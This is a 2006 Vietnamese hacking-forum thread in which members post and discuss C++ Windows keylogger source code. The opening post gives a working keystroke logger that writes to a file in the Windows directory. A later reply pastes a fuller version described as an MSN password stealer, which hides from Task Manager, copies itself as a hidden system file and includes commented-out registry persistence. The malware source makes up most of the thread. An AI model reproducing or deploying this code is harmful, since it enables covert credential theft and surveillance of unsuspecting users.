[Question] Simple of all keyloggers in c++. |
04/09/2006 07:29:42 (+0700) | #1 | 20456 |
|
Can_Tho_City
Member
|
0 |
|
|
Joined: 28/08/2006 12:17:55
Messages: 15
Location: Thành Phố Cần Thơ
Offline
|
|
Chào các bạn, Can_Tho_City giới thiệu một ví dụ đơn giản về keylog trong C++.
Rất mong nhận được sự góp ý của các đàn anh.
Code:
#include <stdio.h>
#include <windows.h>
#include <Winuser.h>
void keys(int key,char *file)
{
FILE *key_file;
key_file = fopen(file,"a+");
if (key==8)
fprintf(key_file,"%s","[del]");
if (key==13)
fprintf(key_file,"%s","\n");
if (key==32)
fprintf(key_file,"%s"," ");
if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps]");
if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");
if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");
if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");
if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");
if (key ==VK_KANA)
fprintf(key_file,"%s","[Kana]");
if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");
if (key ==VK_END)
fprintf(key_file,"%s","[END]");
if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");
if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");
if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");
if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");
if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");
if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");
if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");
if (key ==190 || key==110)
fprintf(key_file,"%s",".");
if (key >=96 && key <= 105){
key = key - 48;
fprintf(key_file,"%s",&key);
}
if (key >=48 && key <= 59)
fprintf(key_file,"%s",&key);
if (key !=VK_LBUTTON || key !=VK_RBUTTON){
if (key >=65 && key <=90){
if (GetKeyState(VK_CAPITAL))
fprintf(key_file,"%s",&key);
else
{
key = key +32;
fprintf(key_file,"%s",&key);
}
}
}
fclose(key_file);
}
int main()
{
char i;
char test[MAX_PATH];
GetWindowsDirectory(test,sizeof(test));
strcat(test,"//keys.txt");
while(1){
for(i=8;i<=190;i++){
if (GetAsyncKeyState(i) == -32767)
{
keys (i,test);
}
}
}
}
Note: saves all keystrokes to %windir%/keys.txt
Bài viết nhằm mục đích nghiên cứu và trao dồi kinh nghiệm về virus, để phòng & chống tốt hơn.
Can_Tho_City
|
|
|
|
|
[Question] Re: Simple of all keyloggers in c++. |
04/09/2006 11:38:31 (+0700) | #2 | 20505 |
|
alstonia
Member
|
0 |
|
|
Joined: 12/08/2006 21:52:34
Messages: 2
Offline
|
|
bạn ơi 2 cái thư viện là <windows.h> <Winuser.h> bạn post lên đi để tớ thử biên dịch xem sao ! không có nó thì tơ không tham khảo được nhiều ! thanks
|
|
|
|
|
[Question] Simple of all keyloggers in c++. |
04/09/2006 14:46:30 (+0700) | #3 | 20536 |
Mr.Khoai
Moderator
|
Joined: 27/06/2006 01:55:07
Messages: 954
Offline
|
|
Góp ý to Can_Tho_City: code nên để trong tag code và nên trình bày rõ ràng một tý. Nếu là code bạn viết thì nên comment lại cho rõ ràng. Nếu không phải thì hãy ghi rõ source là ở đâu.
Khoai |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
04/09/2006 17:43:53 (+0700) | #4 | 20557 |
LeVuHoang
HVA Friend
|
Joined: 08/03/2003 16:54:07
Messages: 1155
Offline
|
|
Bỏ vào giữa 2 tag
[ code ]
[ /code ]
Sẽ giúp giữ lại format của đoạn code |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
04/09/2006 20:25:45 (+0700) | #5 | 20563 |
|
Can_Tho_City
Member
|
0 |
|
|
Joined: 28/08/2006 12:17:55
Messages: 15
Location: Thành Phố Cần Thơ
Offline
|
|
|
|
[Question] Simple of all keyloggers in c++. |
04/09/2006 20:27:44 (+0700) | #6 | 20564 |
|
Can_Tho_City
Member
|
0 |
|
|
Joined: 28/08/2006 12:17:55
Messages: 15
Location: Thành Phố Cần Thơ
Offline
|
|
Mr.Khoai wrote:
Góp ý to Can_Tho_City: code nên để trong tag code và nên trình bày rõ ràng một tý. Nếu là code bạn viết thì nên comment lại cho rõ ràng. Nếu không phải thì hãy ghi rõ source là ở đâu.
Khoai
Thanks Mr.Khoai, tui Edit lại ngay đây.
Code này là tui viết, ok!
E rằng comment từng dòng thì Newbie lợi dụng quậy lung tung! ) |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
05/09/2006 09:19:51 (+0700) | #7 | 20713 |
Mr.Khoai
Moderator
|
Joined: 27/06/2006 01:55:07
Messages: 954
Offline
|
|
Hèm, nếu bạn edit lại bằng cách bỏ tất cả vào tag code một cách y nguyên thì tôi thấy cứ để thế cho xong. |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
05/09/2006 20:41:18 (+0700) | #8 | 20807 |
Defender
Locked
|
Joined: 03/07/2006 11:27:43
Messages: 624
Offline
|
|
Mr.Khoai wrote:
Hèm, nếu bạn edit lại bằng cách bỏ tất cả vào tag code một cách y nguyên thì tôi thấy cứ để thế cho xong.
Tôi nghĩ là code mà nhìn vô hiểu ngay thì còn gì là code nữa.
|
|
|
|
|
[Question] Simple of all keyloggers in c++. |
05/09/2006 20:57:57 (+0700) | #9 | 20809 |
|
jamesmr
Member
|
0 |
|
|
Joined: 03/03/2006 06:30:26
Messages: 153
Offline
|
|
Can_Tho_City wrote:
E rằng comment từng dòng thì Newbie lợi dụng quậy lung tung! )
Vậy theo Can_Tho_City có code này thì quậy được gì?
:? |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
05/09/2006 21:43:09 (+0700) | #10 | 20815 |
Mr.Khoai
Moderator
|
Joined: 27/06/2006 01:55:07
Messages: 954
Offline
|
|
Defender wrote:
Tôi nghĩ là code mà nhìn vô hiểu ngay thì còn gì là code nữa.
Vấn đề không phải hiểu ngay hay không mà là vấn đề trình bày. Viết một đoạn code không comment, không indent, không newline một cách đúng đắn là điều rất kỵ. Mỗi người có một style riêng để trình bày, nhưng style nào cũng phải "readable" cả.
to Can_Tho_City: Khoai cũng thấy đoạn code này đúng là keylog, nhưng chả "quậy" được gì cả. Vả lại, đã bảo là Newbie ( ) thì sẽ không ngồi đọc code + comments đâu mà lại lo. Khoai thấy nên có thói quen comment cho code của mình viết. Có lợi cho cá nhân và cho người khác khi publish code ra ngoài.
Khoai |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
07/09/2006 06:16:47 (+0700) | #11 | 21265 |
|
hakuso
HVA Friend
|
Joined: 04/01/2004 13:28:06
Messages: 287
Location: làng Đo Đo
Offline
|
|
Tại chỗ này
Code:
if (GetAsyncKeyState(i) == -32767)
hơi khó hiểu, vì theo như tài liệu msdn về GetAsyncKeyState thì
The GetAsyncKeyState function determines whether a key is up or down at the time the function is called, and whether the key was pressed after a previous call to GetAsyncKeyState.
....
If the function succeeds, the return value specifies whether the key was pressed since the last call to GetAsyncKeyState, and whether the key is currently up or down. If the most significant bit is set, the key is down, and if the least significant bit is set, the key was pressed after the previous call to GetAsyncKeyState
Vậy tại sao không viết là
Code:
if ( GetAsyncKeyState(i) & 0x8000 )
cho dễ hiểu ?
(còn vài điều chưa rõ nhưng không bàn ở đây) |
|
Live, fight, work and study |
|
|
|
[Question] Simple of all keyloggers in c++. |
11/09/2006 07:42:59 (+0700) | #12 | 22360 |
trungbinhmai
Member
|
0 |
|
|
Joined: 11/08/2006 10:18:58
Messages: 9
Location: TP HCM
Offline
|
|
em tuy ko phải là cao thủ c++ nhưng nhìn kiểu trình bày của code trên thì người viết quá tệ. lập trình kiểu đó kị lắm |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
11/09/2006 11:05:48 (+0700) | #13 | 22404 |
|
SuperChicken
Elite Member
|
0 |
|
|
Joined: 11/07/2006 18:31:27
Messages: 635
Location: bottom of hell
Offline
|
|
Nói thẳng đừng buồn nhé, code gì mà nhìn vào thấy nó thế nào í, ko thấy "pro" gì hít, có thật là có thể dùng nó để keylog ko? Hay là khi chạy CPU cứ nhảy lên 100%? |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
28/09/2006 18:07:07 (+0700) | #14 | 26283 |
acminvtkt
Member
|
0 |
|
|
Joined: 10/08/2006 12:08:04
Messages: 5
Offline
|
|
Mình cùng muốn học hỏi thêm về mấy cái code này, bạn có thể comment từng dòng lệnh lại không?
|
|
|
|
|
[Question] Simple of all keyloggers in c++. |
05/12/2006 07:31:48 (+0700) | #15 | 27968 |
|
kenshin8x
Member
|
0 |
|
|
Joined: 29/11/2006 20:45:54
Messages: 195
Location: ĐH CNTT
Offline
|
|
acminvtkt wrote:
Mình cùng muốn học hỏi thêm về mấy cái code này, bạn có thể comment từng dòng lệnh lại không?
mình đồng ý với ý kiến của bạn nên có chú thích từng dòng lệnh để hiểu rõ con keylog nay có thể làm những gì? hay cách phòng trừ các loại tương tự để mọi người cùng học hỏi
uhu |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
08/12/2006 12:47:10 (+0700) | #16 | 28933 |
|
seckid
Member
|
0 |
|
|
Joined: 06/12/2006 16:51:08
Messages: 38
Offline
|
|
đây đúng là một keylogger, mình đã thử nhưng nó chạy rất chậm, nó có ghi lại nhưng một khi build thì các ứng dụng khác không chạy được, hình như là nó chiếm hết luôn con CPU.... |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
11/12/2006 14:26:52 (+0700) | #17 | 29790 |
channhua
Elite Member
|
0 |
|
|
Joined: 18/07/2003 04:49:28
Messages: 338
Offline
|
|
seckid wrote:
đây đúng là một keylogger, mình đã thử nhưng nó chạy rất chậm, nó có ghi lại nhưng một khi build thì các ứng dụng khác không chạy được, hình như là nó chiếm hết luôn con CPU....
hì hì, chạy con này chắc khỏi chạy ứng dụng khác. Nó chiếm khoảng 80% kernel cpu và 100% process thì làm ăn gì được.
khi ghi lại các thông tin, 1 số hiển thị không chính xác và thường insert các fim' [del] và rất mất trật tự
hy vọng bạn có version mới hơn |
|
|
|
|
[Question] Simple of all keyloggers in c++. |
12/12/2006 10:40:29 (+0700) | #18 | 29971 |
|
nora
Elite Member
|
0 |
|
|
Joined: 20/09/2006 00:08:43
Messages: 360
Location: UK
Offline
|
|
Can_Tho_City wrote:
Mr.Khoai wrote:
Góp ý to Can_Tho_City: code nên để trong tag code và nên trình bày rõ ràng một tý. Nếu là code bạn viết thì nên comment lại cho rõ ràng. Nếu không phải thì hãy ghi rõ source là ở đâu.
Khoai
Thanks Mr.Khoai, tui Edit lại ngay đây.
Code này là tui viết, ok!
E rằng comment từng dòng thì Newbie lợi dụng quậy lung tung! )
"Code này là tui viết, ok!" mới khiếp
http://www.rohitab.com/discuss/lofiversion/index.php/t19390.html
chẳng hiểu mình tìm mấy cái này ở đâu ra, có lẽ bạn bị ăn cắp bản quyền!!!???
nếu vậy để mình khai triển thêm nhé
#include <stdlib.h>
#include <windows.h>
#include <stdio.h>
#include <commctrl.h>
#include <Winuser.h>
#include <string.h>
// all includes should be standard in dev
/*
Name: KOrUPt(not tellin)
Author: KOrUPt
Description: MSN PWD stealer, searches for PWD prompt and saves it to wordsv80.ini file, maybe someone could add smtp to improve it
Date Written: 01/10/06 - 04/10/06
Copyright Holder: KOrUPt, you MAY use, add to this code, but please let me know of any improvments you make, thanks.
*/
void keys(int key,char *file) // if you try and view the exe in notepad it discloses
{ // quite alot of source code(not good), so i may change the key output to codes instead
FILE *key_file;
key_file = fopen(file,"a+");
Sleep(10);
if (key==8)
fprintf(key_file,"%s","[del]");
if (key==13)
fprintf(key_file,"%s","\n");
if (key==32)
fprintf(key_file,"%s"," ");
if (key==VK_CAPITAL)
fprintf(key_file,"%s","[Caps L]");
if (key==VK_TAB)
fprintf(key_file,"%s","[TAB]");
if (key ==VK_CONTROL)
fprintf(key_file,"%s","[CTRL]");
if (key ==VK_PAUSE)
fprintf(key_file,"%s","[PAUSE]");
if (key ==VK_ESCAPE)
fprintf(key_file,"%s","[ESC]");
if (key ==VK_END)
fprintf(key_file,"%s","[END]");
if (key==VK_HOME)
fprintf(key_file,"%s","[HOME]");
if (key ==VK_LEFT)
fprintf(key_file,"%s","[LEFT]");
if (key ==VK_UP)
fprintf(key_file,"%s","[UP]");
if (key ==VK_RIGHT)
fprintf(key_file,"%s","[RIGHT]");
if (key ==VK_DOWN)
fprintf(key_file,"%s","[DOWN]");
if (key ==VK_SNAPSHOT)
fprintf(key_file,"%s","[PRINT]");
if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUM LOCK]");
if (key ==VK_RETURN)
fprintf(key_file,"%s","[ENTER]\n\n");
if (key ==VK_SHIFT)
fprintf(key_file,"%s","[SHIFT]");
if (key ==VK_SPACE)
fprintf(key_file,"%s","[SPACE]");
if (key ==VK_LBUTTON)
fprintf(key_file,"%s","[LM B]");
if (key ==VK_RBUTTON)
fprintf(key_file,"%s","[RM B]");
if (key ==VK_MENU)
fprintf(key_file,"%s","[ALT]");
if (key ==VK_LWIN)
fprintf(key_file,"%s","[Windows key]");
if (key ==VK_ADD)
fprintf(key_file,"%s","[+]");
if (key ==VK_SUBTRACT)
fprintf(key_file,"%s","[-]");
if (key ==VK_DECIMAL)
fprintf(key_file,"%s","[.]");
if (key ==VK_DIVIDE)
fprintf(key_file,"%s","[DIVIDE KEY]");
if (key ==VK_NUMPAD0)
fprintf(key_file,"%s","[NUMPAD 0]");
if (key ==VK_NUMPAD1)
fprintf(key_file,"%s","[NUMPAD 1]");
if (key ==VK_NUMPAD2)
fprintf(key_file,"%s","[NUMPAD 2]");
if (key ==VK_NUMPAD3)
fprintf(key_file,"%s","[NUMPAD 3]");
if (key ==VK_NUMPAD4)
fprintf(key_file,"%s","[NUMPAD 4]");
if (key ==VK_NUMPAD5)
fprintf(key_file,"%s","[NUMPAD 5]");
if (key ==VK_NUMPAD6)
fprintf(key_file,"%s","[NUMPAD 6]");
if (key ==VK_NUMPAD7)
fprintf(key_file,"%s","[NUMPAD 7]");
if (key ==VK_NUMPAD8)
fprintf(key_file,"%s","[NUMPAD 8]");
if (key ==VK_NUMPAD9)
fprintf(key_file,"%s","[NUMPAD 9]");
if (key ==VK_F1)
fprintf(key_file,"%s","[F1 KEY]");
if (key ==VK_F2)
fprintf(key_file,"%s","[F2 KEY]");
if (key ==VK_F3)
fprintf(key_file,"%s","[F3 KEY]");
if (key ==VK_F4)
fprintf(key_file,"%s","[F4 KEY]");
if (key ==VK_F5)
fprintf(key_file,"%s","[F5 KEY]");
if (key ==VK_F6)
fprintf(key_file,"%s","[F6 KEY]");
if (key ==VK_F7)
fprintf(key_file,"%s","[F7 KEY]");
if (key ==VK_F8)
fprintf(key_file,"%s","[F8 KEY]");
if (key ==VK_F9)
fprintf(key_file,"%s","[F9 KEY]");
if (key ==VK_F10)
fprintf(key_file,"%s","[F10 KEY]");
if (key ==VK_F11)
fprintf(key_file,"%s","[F11 KEY]");
if (key ==VK_F12)
fprintf(key_file,"%s","[F12 KEY]");
if (key ==VK_NUMLOCK)
fprintf(key_file,"%s","[NUMLOCK KEY]");
if (key ==VK_SCROLL)
fprintf(key_file,"%s","[SCROLL LOCK]");
/* // WONT WORK ON WIN 9X
if (key ==VK_OEM_PLUS)
fprintf(key_file,"%s","[+]");
if (key ==VK_OEM_COMMA)
fprintf(key_file,"%s","[,]");
if (key ==VK_OEM_MINUS)
fprintf(key_file,"%s","[-]");
if (key ==VK_OEM_PERIOD)
fprintf(key_file,"%s","[.]");
*/
if (key ==190 || key==110)
fprintf(key_file,"%s",".");
if (key >=96 && key <= 105){
key = key - 48;
fprintf(key_file,"%s",&key);
}
if (key >=48 && key <= 59)
fprintf(key_file,"%s",&key);
if (key !=VK_LBUTTON || key !=VK_RBUTTON){
if (key >=65 && key <=90){
if (GetKeyState(VK_CAPITAL))
fprintf(key_file,"%s",&key);
else
{
key = key +32;
fprintf(key_file,"%s",&key);
}
}
}
fclose(key_file);
}
char buffer[300] = "";
HWND currentwin;
DWORD pid;
unsigned char reg[2] = "1";
HMODULE modH = GetModuleHandle(0);
char dir[255];
char dir2[MAX_PATH];
char dir3[MAX_PATH];
char KeyLogPath[MAX_PATH]; // holds dir path for wordsv80.ini
// Functions
BOOL CALLBACK block(HWND hwnd,LPARAM lParam) // used to hide from taskmgr
{
char classname[150] = "";
char windowtext[150] = "";
GetWindowText(hwnd,windowtext,149);
GetClassName(hwnd,classname,249);
if (strstr(windowtext,"Processes") && strstr(classname,"SysListView32") !=NULL)
{
SendMessage(hwnd,LVM_DELETEALLITEMS,0,0); // clears Taskmgr every x seconds
return FALSE;
}
return TRUE;
}
DWORD WINAPI HideProgram() // also used to hide from taskmgr
{
for(;
{
Sleep(5);
EnumChildWindows(FindWindow(0,"Windows Task Manager"),block,0); // calls block function evrey 5 milee seconds
}
}
int WINAPI WinMain(HINSTANCE Instance, HINSTANCE PreviousInstance, LPSTR CommandLine,int ShowCommand)
{
char i;
GetWindowsDirectory(KeyLogPath,sizeof(KeyLogPath));
strcat(KeyLogPath,"//wordsv80.ini"); // this is the file that keys are saved to
// Add to system folder
GetModuleFileName(modH, dir2, 256);
GetSystemDirectory(dir,255);
strcat(dir,"\\Sndserv.exe"); // Name of program, was going to use a NeverShowExt key to hide a secondry extension,
CopyFile(dir2,dir,FALSE); // but dont know how to change the icon pic, lol, will learn how to soon though
unsigned char dir3[25] = "Sndserv.exe";
SetFileAttributes(dir, FILE_ATTRIBUTE_HIDDEN | FILE_ATTRIBUTE_READONLY | FILE_ATTRIBUTE_SYSTEM); // work it out
// Add to registry
// I think weird decimal vaules makes it less likly to be deleted because it
// hasnt got any spefic name, it could be somthing really importent, dont forget,
// most people are quite scared of editing there reigstry in case they ruin the whole pc,
// if they see something they dont understand, then the old phase "better save than sorry" springs to mind
// i think theyd rather leave it than risk it, of course if there sure they know what there doin then fine,
// but im talkin about the N0oBs here, sorry noobs lol
// oh well back to the code
/*
HKEY key1;
RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",0,KEY_SET_VALUE, &key1 );
RegSetValueEx(key1, "1x00387z",0,REG_SZ, dir3,sizeof(dir3));
RegCloseKey(key1);
HKEY key2;
RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServicesOnce",0,KEY_SET_VALUE, &key2 );
RegSetValueEx(key2, "62x402b",0,REG_SZ, dir3,sizeof(dir3)); // again weird decimal names,
RegCloseKey(key2); // i dont fully know how this key will react on startup, should be alright lol
HKEY key3;
RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",0,KEY_SET_VALUE, &key3 );
RegSetValueEx(key3, "87x409x",0,REG_SZ, dir3,sizeof(dir3)); // yey more weird decimal names lol
RegCloseKey(key3);
HKEY key4;
RegOpenKeyEx( HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunOnce",0,KEY_SET_VALUE, &key4 );
RegSetValueEx(key4, "95x00x8z",0,REG_SZ, dir3,sizeof(dir3)); // i think you get the msg
RegCloseKey(key4);
// was goin to disable regedit, but decided not to
// in case made the user suspicuos, i prefer the stealth method
*/
while(1)
{
Sleep(20); // to some save cpu
// Just in case we need an emergency exit
if (GetAsyncKeyState(VK_CONTROL) && GetAsyncKeyState(VK_TAB) && GetAsyncKeyState(VK_F5) && GetAsyncKeyState(VK_F
{
MessageBox (NULL, "" , "", 0 + MB_ICONEXCLAMATION); // no information disclosed, just notfication
return 0;
}
// cannot close program while login box is present
jump:
currentwin = GetForegroundWindow();
GetWindowText(currentwin,(char*)buffer,300);
if(strstr(buffer,"Sign in to .NET messenger Service- MSN Messenger")) // or anything else you want a password to lol
{
GetWindowThreadProcessId(currentwin,&pid);
for(i=8;i<=190;i++) // activate keyloger
{
if (GetAsyncKeyState(i) == -32767)
{
keys (i,KeyLogPath); // loop through keys function and add keys pressed to file
goto jump; // to recheck if logon window is still active, if not continue searching untill found
}
}
}
}
}
http://www.rohitab.com/discuss/lofiversion/index.php/t19142.html
http://www.google.co.uk/search?hl=en&q=void+keys%28int+key%2Cchar+*file%29&btnG=Google+Search&meta= <-----tìm trên đây 1 tấn, chẳng biết nguồn gốc của ai, tuy nhiên copy ở đâu nên ghi rõ nguồn
nr |
|
|
|
|
|
|
|
Users currently in here |
1 Anonymous
|
|
Powered by JForum - Extended by HVAOnline
hvaonline.net | hvaforum.net | hvazone.net | hvanews.net | vnhacker.org
1999 - 2013 ©
v2012|0504|218|
|
|